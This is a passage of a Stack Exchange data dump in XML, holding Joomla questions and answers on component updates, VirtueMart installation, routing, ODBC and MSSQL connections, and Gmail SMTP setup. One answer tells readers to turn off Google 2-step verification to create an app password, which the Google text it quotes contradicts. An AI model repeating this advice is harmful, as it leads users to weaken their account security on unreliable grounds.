LastEditDate="2020-06-27T13:03:03.237" LastActivityDate="2020-06-28T16:46:44.243" Title="Error Updating Component - does not update" Tags="|joomla-3.x|custom-component|update|extension-update|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28220" PostTypeId="1" CreationDate="2020-06-28T07:51:05.987" Score="0" ViewCount="50" Body="&lt;p&gt;I'm trying to install Virtumart on my apache server.&lt;/p&gt;&#xA;&lt;p&gt;I used this reference as my installation guide:&#xA;&lt;a href=&quot;https://hostadvice.com/how-to/how-to-install-joomla-on-an-ubuntu-18-04-vps-or-dedicated-server/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://hostadvice.com/how-to/how-to-install-joomla-on-an-ubuntu-18-04-vps-or-dedicated-server/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is where got the package: &lt;a href=&quot;http://virtuemart.net/downloads&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://virtuemart.net/downloads&lt;/a&gt; (full install)&lt;/p&gt;&#xA;&lt;p&gt;The install page came but it's not working because the next button and some components are missing.&lt;/p&gt;&#xA;&lt;p&gt;I need some expert help to fix this.  I tried different browsers, but still got the same result.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/x8m3S.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/x8m3S.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bp4mY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bp4mY.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14378" LastEditorUserId="12352" LastEditDate="2020-06-28T09:51:47.690" LastActivityDate="2020-06-28T16:54:10.967" Title="Virtuemart installation first page not working?" Tags="|joomla-3.x|virtuemart|installation|component-configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28221" PostTypeId="2" ParentId="28219" CreationDate="2020-06-28T16:46:44.243" Score="1" Body="&lt;p&gt;I feel so silly...I just forgot to change the version of the component in the XML mainfest file from 1.9 to 1.9.1. If you are running into the same trouble don't forget to change the version of your component in your component's mainfest XML file.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;version&amp;gt;Updated_version_of_your_component&amp;lt;/version&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I had this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;name&amp;gt;COM_GALLERY&amp;lt;/name&amp;gt;&#xA;    &amp;lt;!-- The following elements are optional and free of formatting constraints --&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;03/07/2020&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;author&amp;gt;Author&amp;lt;/author&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;authoremail@gmail.com&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;Copyright Info&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;License Info&amp;lt;/license&amp;gt;&#xA;    &amp;lt;!--  The version string is recorded in the components table --&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.9&amp;lt;/version&amp;gt;&#xA;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I changed to this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;name&amp;gt;COM_GALLERY&amp;lt;/name&amp;gt;&#xA;    &amp;lt;!-- The following elements are optional and free of formatting constraints --&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;03/07/2020&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;author&amp;gt;Author&amp;lt;/author&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;authoremail@gmail.com&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;Copyright Info&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;License Info&amp;lt;/license&amp;gt;&#xA;    &amp;lt;!--  The version string is recorded in the components table --&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.9.1&amp;lt;/version&amp;gt;&#xA;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;More info: &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_an_update_server&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_an_update_server&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14118" LastActivityDate="2020-06-28T16:46:44.243" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28222" PostTypeId="2" ParentId="28220" CreationDate="2020-06-28T16:54:10.967" Score="1" Body="&lt;p&gt;I'm not sure if it will solve the problem but it seems like you downloaded an outdated version of VirtueMart. Please, try downloading this one directly from Joomla Extensions: &lt;a href=&quot;https://extensions.joomla.org/https://extensions.joomla.org/extension/virtuemart/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/https://extensions.joomla.org/extension/virtuemart/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Last update was June 18, 2020. Version: 3.8.4&lt;/p&gt;&#xA;" OwnerUserId="14118" LastActivityDate="2020-06-28T16:54:10.967" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28223" PostTypeId="2" ParentId="28217" CreationDate="2020-06-29T07:04:08.167" Score="2" Body="&lt;p&gt;Subform data is passed as an array. To store it in database you have to convert it to a string such as JSON. How and where to do this depends on how your component is written. But if your component uses Table API, you can add support for JSON encoded fields by declaring &lt;code&gt;$_jsonEncode&lt;/code&gt; class property in the table class:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class MyTable extends JTable&#xA;{&#xA;    protected $_jsonEncode = ['subform_field', 'another_subform_field'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-06-29T07:04:08.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28224" PostTypeId="1" AcceptedAnswerId="28242" CreationDate="2020-06-29T14:39:37.143" Score="0" ViewCount="479" Body="&lt;p&gt;I am working on deploying a Joomla application on a Linux server using Docker. When I use the &lt;a href=&quot;https://docs.docker.com/compose/reference/start/&quot; rel=&quot;nofollow noreferrer&quot;&gt;docker-compose start&lt;/a&gt; command, I get the following error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&amp;quot;Cannot start service joomla-1: get 7bc8fef95dc63f2c845e57c3b5be68cb872179c02b0db8eeed5468e57cce1484: no such volume&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I have checked the images and available.&lt;/p&gt;&#xA;&lt;p&gt;This was working properly before, but suddenly stopped working. Can anyone help me on this?&lt;/p&gt;&#xA;" OwnerUserId="14379" LastEditorUserId="12352" LastEditDate="2020-06-29T20:17:47.490" LastActivityDate="2020-07-05T22:00:13.543" Title="Docker compose Start command throwing &quot;No volume error&quot;" Tags="|joomla-3.4|linux|docker|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28225" PostTypeId="2" ParentId="7392" CreationDate="2020-06-30T05:58:55.633" Score="4" Body="&lt;p&gt;I know the recommended way of doing this is writing a plugin for. But I did remove repeat email and repeat password fields with a js trick:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(function ($){&#xA;    $(&amp;quot;#jform_password2-lbl&amp;quot;).parent().hide();&#xA;    $(&amp;quot;#jform_password1&amp;quot;).focusout(function () {&#xA;        $(&amp;quot;#jform_password2&amp;quot;).val($(this).val());&#xA;    });&#xA;&#xA;    $(&amp;quot;#jform_email2-lbl&amp;quot;).parent().hide();&#xA;    $(&amp;quot;#jform_email1&amp;quot;).focusout(function () {&#xA;        $(&amp;quot;#jform_email2&amp;quot;).val($(this).val());&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Simply hiding repeat fields and fill them out with the entered values.&lt;/p&gt;&#xA;" OwnerUserId="14381" LastActivityDate="2020-06-30T05:58:55.633" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28226" PostTypeId="1" AcceptedAnswerId="28230" CreationDate="2020-06-30T13:21:59.420" Score="2" ViewCount="268" Body="&lt;p&gt;I have a form in my Joomla! site. Once completed, the form should send an e-mail but only if some conditions have been met.&lt;/p&gt;&#xA;&lt;p&gt;Not having been able to use standard, commercially available mailers while also checking those conditions, I am using jQuery.ajax to POST the content of the form to a custom PHP page that uses Factory::getMailer to actually send the e-mail.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Maybe it's convoluted, but it works.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;This PHP page is called, sends a mail and then does nothing else. It is not a part of my page. Right now, it does not even know that it is part of my site.&lt;/p&gt;&#xA;&lt;p&gt;Despite hiding this PHP file from spiders, the name and path of the php file is available by looking at the code on my page. The query string is also available by looking at the ajax function. Anybody could build their own page that calls my PHP page and use it to send mail around (why would they, I have no idea, but it worries me that they can.)&lt;/p&gt;&#xA;&lt;p&gt;I already know how to stop this: &lt;code&gt;defined('_JEXEC') or die('Restricted access');&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Of course, it's pointless to just declare &lt;code&gt;define('_JEXEC',1);&lt;/code&gt; on the line above. The _JEXEC definition should come from within Joomla!... but I don't know how to.&lt;/p&gt;&#xA;&lt;p&gt;I have tried turning my PHP page into a module, thinking that embedding my PHP page in the structure of the CMS would have been enough. I know I successfully uploaded the module because the PHP page gets called, but I see the &amp;quot;Restricted access&amp;quot; response: _JEXEC is not defined.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;What am I doing wrong and what should I do to define _JEXEC and pass it to my PHP file, rather than defining it directly in the PHP file?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I'm using Joomla! 3.9.19&lt;/p&gt;&#xA;" OwnerUserId="11630" LastActivityDate="2021-03-28T12:04:20.437" Title="How do I pass _JEXEC to a php file?" Tags="|php|custom-module|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28227" PostTypeId="2" ParentId="22205" CreationDate="2020-06-30T15:21:34.387" Score="0" Body="&lt;p&gt;With the newest Joomla 3.9.x - its hard coded in the script and:&#xA;$doc-&amp;gt;setHtml5(true) - doesn't seem to work.&lt;/p&gt;&#xA;&lt;p&gt;My solution was to edit the file in /libraries/cms/html/email.php&lt;/p&gt;&#xA;&lt;p&gt;Change:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$inlineScript = &amp;quot;&amp;lt;script type='text/javascript'&amp;gt;&amp;quot; . $script . &amp;quot;&amp;lt;/script&amp;gt;&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$inlineScript = &amp;quot;&amp;lt;script&amp;gt;&amp;quot; . $script . &amp;quot;&amp;lt;/script&amp;gt;&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3485" LastActivityDate="2020-06-30T15:21:34.387" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28228" PostTypeId="1" CreationDate="2020-06-30T16:55:20.877" Score="2" ViewCount="481" Body="&lt;p&gt;I have created a view for my custom component and it works OK however I've noticed that &lt;code&gt;JRoute&lt;/code&gt; only works for the current view.&lt;/p&gt;&#xA;&lt;p&gt;If I am, for example, on the view &lt;code&gt;picture&lt;/code&gt; and I try to &amp;quot;JRoute another view&amp;quot;, instead of showing this view I just &amp;quot;JRouted to&amp;quot;, it shows the same &lt;code&gt;picture&lt;/code&gt; view.&lt;/p&gt;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; JRoute(&amp;quot;index.php?option=com_gallery&amp;amp;view=thumbnails&amp;quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Instead of showing mysite.com/thumbnails it shows mysite.com/picture. The same thing happens if I am on the view &lt;code&gt;thumbnail&lt;/code&gt; and I do a &lt;code&gt;JRoute::_(&amp;quot;index.php?option=com_gallery&amp;amp;view=picture&amp;quot;)&lt;/code&gt; instead of showing the view &lt;code&gt;picture&lt;/code&gt; it shows the &lt;code&gt;thumbnail&lt;/code&gt; view which means it works only for the current view.&lt;/p&gt;&#xA;&lt;p&gt;I have tried using the Router file that comes with Joomla (in the com_users folder) but I could not get it working for me as it extends &lt;code&gt;JComponentRouterView&lt;/code&gt; and the custom Router file I have for my component implements &lt;code&gt;JComponentRouterInterface&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I tried:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;registerView(new JComponentRouterInterface('thumbnails'))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and I got:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Call to undefined method  GalleryRouter::registerView()&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Obviously &lt;code&gt;registerView&lt;/code&gt; doesn't exist in &lt;code&gt;JComponentRouterInterface&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;So I would like to know if there's any way to register or add my views to my router file or something I can do in order for them to be &amp;quot;recognised&amp;quot; in all views.&lt;/p&gt;&#xA;&lt;p&gt;I'm currently using this workaround: &lt;code&gt;JURI::base().&amp;quot;my-menu-item&amp;quot;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-06-30T17:04:23.157" LastActivityDate="2020-07-01T06:47:26.187" Title="JRoute not working - always shows the current view" Tags="|joomla-3.x|view|jroute|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28229" PostTypeId="2" ParentId="28228" CreationDate="2020-07-01T06:47:26.187" Score="2" Body="&lt;p&gt;You need to &lt;strong&gt;add your own router.php&lt;/strong&gt; and &lt;strong&gt;build your own views&lt;/strong&gt; in the &lt;strong&gt;build + parse methods&lt;/strong&gt; in it. I would create a router.php file with this information: &lt;a href=&quot;https://docs.joomla.org/J3.x:Supporting_SEF_URLs_in_your_component#A_more_complex_Example&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Supporting_SEF_URLs_in_your_component#A_more_complex_Example&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;PS: I'd recommend to use name spacing to be compatible with future Joomla versions. It's possible since Joomla 3.8 + PHP 7.x. Instead of &lt;code&gt;JRoute&lt;/code&gt; you would use &lt;code&gt;Route&lt;/code&gt; and add &lt;code&gt;use Joomla\CMS\Router\Route;&lt;/code&gt; at the top of your script.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2020-07-01T06:47:26.187" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28230" PostTypeId="2" ParentId="28226" CreationDate="2020-07-01T10:29:25.907" Score="2" Body="&lt;p&gt;There is no way to pass the &lt;code&gt;JEXEC&lt;/code&gt; constant to the file, other than including a file that defines it - Generally you would want to go through Joomla for this.&lt;/p&gt;&#xA;&lt;p&gt;Turn the whole form to a module and use com_ajax to make the AJAX calls to the helper of your module.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Using_Joomla_Ajax_Interface&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, you could have used a mature form builder extension that has already dealt with all these.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2020-07-01T10:29:25.907" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28232" PostTypeId="2" ParentId="18328" CreationDate="2020-07-01T14:16:01.973" Score="2" Body="&lt;p&gt;Here are the official Joomla! Docs for anyone else looking in the future:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/How_do_I_use_Gmail_as_my_mail_server%3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_do_I_use_Gmail_as_my_mail_server%3F&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h1&gt;How do I use Gmail as my mail server?&lt;/h1&gt;&#xA;&lt;p&gt;If you have a working Gmail account you can use Gmail as your mail&#xA;server by setting it in the global configuration.&lt;/p&gt;&#xA;&lt;p&gt;On the server tab set the following:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;Mailer: SMTP&#xA;SMTP Host: smtp.gmail.com&#xA;SMTP Port 465&#xA;SMTP Security: SSL/TLS&#xA;SMTP Authentication: Yes&#xA;Set the next two lines with your information. You need to use an app specific password (ASP), described below.&#xA;SMTP Username: your gmail username&#xA;SMTP Password: your gmail password&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The following are also working combinations:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;SMTP Port 587&#xA;SMTP Security: STARTTLS&#xA;&#xA;SMTP Port 25&#xA;SMTP Security: STARTTLS&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The SSL module does not need to be enabled in Apache.&lt;/p&gt;&#xA;&lt;p&gt;The OpenSSL extension needs to be enabled in PHP. The details can be&#xA;found at &lt;a href=&quot;http://www.php.net/manual/en/openssl.installation.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.php.net/manual/en/openssl.installation.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you are using WAMP on Windows, the openssl module is not enabled by&#xA;default and you need to enable it. To do this:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;Open the php.ini file and uncomment the line extension=php_openssl.dll by removing the semicolon ; from the beginning of the line.&#xA;Save the php.ini file and restart the Apache service.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Note&lt;/p&gt;&#xA;&lt;p&gt;Note that if you use 2-step verification in Gmail, you need to add a&#xA;new password in Settings - Accounts - Change accounts settings - Other&#xA;Google Account settings - Security - 2-step verification - Manage your&#xA;application specific passwords.&lt;/p&gt;&#xA;&lt;p&gt;When the new Application Specific Password (ASP) is presented in&#xA;groups of four characters separated by spaces, make sure that you do&#xA;NOT enter the spaces into the SMTP password in the mail server&#xA;settings in Joomla.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h1&gt;You will need to make sure 2 Factor authentication is turned off:&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.google.com/accounts/answer/1070457&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.google.com/accounts/answer/1070457&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.google.com/accounts/answer/1064203?hl=en&amp;amp;ref_topic=7189195&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.google.com/accounts/answer/1064203?hl=en&amp;amp;ref_topic=7189195&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Instructions via computer&lt;/h2&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;Open your Google Account.&#xA;In the &amp;quot;Security&amp;quot; section, select 2-Step Verification. You might need to sign in.&#xA;Select Turn off.&#xA;A pop-up window will appear to confirm that you want to turn off 2-Step Verification. Select Turn off.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Destroy all the backup codes that you've saved for signing in to this&#xA;account. Revoking app passwords you no longer use&lt;/p&gt;&#xA;&lt;p&gt;If you used app passwords to let apps access your Google Account, you&#xA;may see errors when you turn off 2-Step verification. If this happens,&#xA;re-enter your Google Account password.&lt;/p&gt;&#xA;&lt;p&gt;We recommend you revoke your app passwords:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Sign in to your Google Account.&#xA;In the &amp;quot;Security&amp;quot; section, select Signing in to Google.&#xA;Choose App passwords. You might need to sign in.&#xA;Next to an application or device, select Remove Remove .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The next time you sign in to the app or device, you'll be asked to&#xA;enter your Google Account username and password. If an app doesn't ask&#xA;right away, it might take longer to recognize that its app password&#xA;has been revoked.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h1&gt;You will need to set up an App specific password (but can only do so if the 2FA is turned off)&lt;/h1&gt;&#xA;&lt;p&gt;Don't forget you have account level 2FA and email specific 2FA&#xA;&lt;a href=&quot;https://support.google.com/accounts/answer/185833&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.google.com/accounts/answer/185833&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Sign in using App Passwords&lt;/p&gt;&#xA;&lt;p&gt;An App Password is a 16-digit passcode that gives a non-Google app or&#xA;device permission to access your Google Account. App Passwords can&#xA;only be used with accounts that have 2-Step Verification turned on.&#xA;When to use App Passwords&lt;/p&gt;&#xA;&lt;p&gt;To help keep your account secure, use &amp;quot;Sign in with Google&amp;quot; to connect&#xA;apps to your Google Account. If the app you’re using doesn’t offer&#xA;this option, you can either:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Use App Passwords to connect to your Google Account&#xA;Switch to a more secure app&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Create &amp;amp; use App Passwords&lt;/p&gt;&#xA;&lt;p&gt;Note: If you use 2-Step-Verification and are seeing a &amp;quot;password&#xA;incorrect&amp;quot; error when trying to access your Google Account, an App&#xA;Password may solve the problem.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Go to your Google Account.&#xA;On the left navigation panel, choose Security.&#xA;On the &amp;quot;Signing in to Google&amp;quot; panel, choose App Passwords. If you don’t see this option:&#xA;    2-Step Verification is not set up for your account.&#xA;    2-Step Verification is set up for security keys only.&#xA;    Your account is through work, school, or other organization.&#xA;    You’ve turned on Advanced Protection for your account.&#xA;At the bottom, choose Select app and choose the app you’re using.&#xA;Choose Select device and choose the device you’re using.&#xA;Choose Generate.&#xA;Follow the instructions to enter the App Password. The App Password is the 16-character code in the yellow bar on your device.&#xA;Choose Done.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Most of the time, you’ll only have to enter an App Password once per&#xA;app or device, so don’t worry about memorizing it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h1&gt;And Finally&lt;/h1&gt;&#xA;&lt;p&gt;In my case my host had disabled SMTP email sending for security purposes I had to contact them and they enabled it for my account.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2020-07-02T19:29:52.847" LastActivityDate="2020-07-02T19:29:52.847" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28233" PostTypeId="1" AcceptedAnswerId="28291" CreationDate="2020-07-02T01:40:45.270" Score="3" ViewCount="210" Body="&lt;p&gt;I have a need to connect to a data source on an old unix box via ODBC, but I don't seem to be getting far and I can't find any examples to help me.&lt;/p&gt;&#xA;&lt;p&gt;I have started with &lt;a href=&quot;https://docs.joomla.org/Connecting_to_an_external_database&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Connecting_to_an_external_database&lt;/a&gt; and set up the following details:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$option['driver'] = 'pdo';            // Database driver name&#xA;$option['host'] = 'nnn.nnn.nnn.nnn:nnnn';    // Database host name&#xA;$options['dsn'] = 'Fred';&#xA;$option['user'] = 'Barney';       // User for database authentication&#xA;$option['password'] = 'Wilma';   // Password for database authentication&#xA;$option['database'] = 'dbname';      // Database name&#xA;$option['prefix'] = '';             // Database prefix (may be empty)&#xA;&#xA;$dbx = JDatabaseDriver::getInstance($option);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;With that configuration, I get an error message of:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;Cannot instantiate abstract class JDatabaseDriverPdo&#xA;E:\www\bedrock\libraries\joomla\database\driver.php:313&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This happens because &lt;code&gt;driver.php&lt;/code&gt; takes the value 'pdo' from &lt;code&gt;$option['driver'] = 'pdo';&lt;/code&gt; and appends it to a class of JDatabaseDriver to be found in &lt;code&gt;\libraries\database\driver\pdo.php&lt;/code&gt; which is an abstract class the extends &lt;code&gt;JDatabaseDriver&lt;/code&gt; hence the message. It is the only abstract class in &lt;code&gt;/driver&lt;/code&gt;. If I replace 'pdo' with 'odbc', I get a message to say it can't load the database driver which will be because the class JDatabaseDriverOdbc is not found.&lt;/p&gt;&#xA;&lt;p&gt;When I look at &lt;code&gt;\libraries\database\driver\pdo.php&lt;/code&gt;, I can see that 'odbc' is the default if no other driver is specified and further down I can see the connection string set up for 'odbc' so it looks like it is supported.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct($options)&#xA;{&#xA;    // Get some basic values from the options.&#xA;    $options['driver'] = (isset($options['driver'])) ? $options['driver'] : 'odbc';&#xA;    $options['dsn'] = (isset($options['dsn'])) ? $options['dsn'] : '';&#xA;    $options['host'] = (isset($options['host'])) ? $options['host'] : 'localhost';&#xA;    ...&#xA;    // Find the correct PDO DSN Format to use:&#xA;    switch ($this-&amp;gt;options['driver'])&#xA;    {&#xA;    ..&#xA;    case 'odbc':&#xA;    $format = 'odbc:DSN=#DSN#;UID:#USER#;PWD=#PASSWORD#';&#xA;    $replace = array('#DSN#', '#USER#', '#PASSWORD#');&#xA;    $with = array($this-&amp;gt;options['dsn'], $this-&amp;gt;options['user'], $this-&amp;gt;options['password']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It seems to me that &lt;code&gt;$option['driver'] =&lt;/code&gt; has two different uses depending on where it is used, as either a suffix to build a class name or as a switch to set the connection string.&lt;/p&gt;&#xA;&lt;p&gt;I have also tried to use the class directly with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;`$option['driver'] = 'odbc';&#xA;...&#xA;$dbx = JDatabaseDriverPdo::getInstance($option);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;however that still tries to find a class of &lt;code&gt;JDatabaseDriverOdbc&lt;/code&gt; from driver.php&lt;/p&gt;&#xA;&lt;p&gt;I really could use some pointers in the right direction or an example of ODBC in use.&lt;/p&gt;&#xA;&lt;p&gt;Some hours later...&lt;/p&gt;&#xA;&lt;p&gt;Looking at the code in driver.php and some of the data base formats in &lt;code&gt;\libraries\database\driver\&lt;/code&gt; it would appear I need to create a new class  that extends JDatabaseDriverPdo, eg. &lt;code&gt;class JDatabaseDriverOdbc extends JDatabaseDriverPdo&lt;/code&gt; and make that available to my code. So I think the Joomla answer is yes you can do it if you write your own connector.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2020-07-02T07:16:09.920" LastActivityDate="2020-07-20T12:17:24.610" Title="Trying to connect to an external ODBC data source" Tags="|joomla-3.x|jdatabase|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="28234" PostTypeId="1" AcceptedAnswerId="28236" CreationDate="2020-07-02T12:57:39.030" Score="2" ViewCount="259" Body="&lt;p&gt;I am using &lt;code&gt;php 7&lt;/code&gt; and trying to connect to mssql server.  I have this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$serverName = &amp;quot;server&amp;quot;; //serverName\instanceName&#xA;$connectionInfo = array( &amp;quot;Database&amp;quot;=&amp;gt;&amp;quot;database&amp;quot;, &amp;quot;UID&amp;quot;=&amp;gt;&amp;quot;userid&amp;quot;, &amp;quot;PWD&amp;quot;=&amp;gt;&amp;quot;password&amp;quot;);&#xA;$conn = sqlsrv_connect( $serverName, $connectionInfo);&#xA;&#xA;if( $conn ) {&#xA;     echo &amp;quot;Connection established.&amp;lt;br /&amp;gt;&amp;quot;;&#xA;}else{&#xA;     echo &amp;quot;Connection could not be established.&amp;lt;br /&amp;gt;&amp;quot;;&#xA;     die( print_r( sqlsrv_errors(), true));&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but when I open the page, I get this error&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Call to undefined function SQLSRV_CONNECT()&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Is it an issue with the php version or simply an additional package that I should add to my Joomla install?&lt;/p&gt;&#xA;" OwnerUserId="14386" LastEditorUserId="12352" 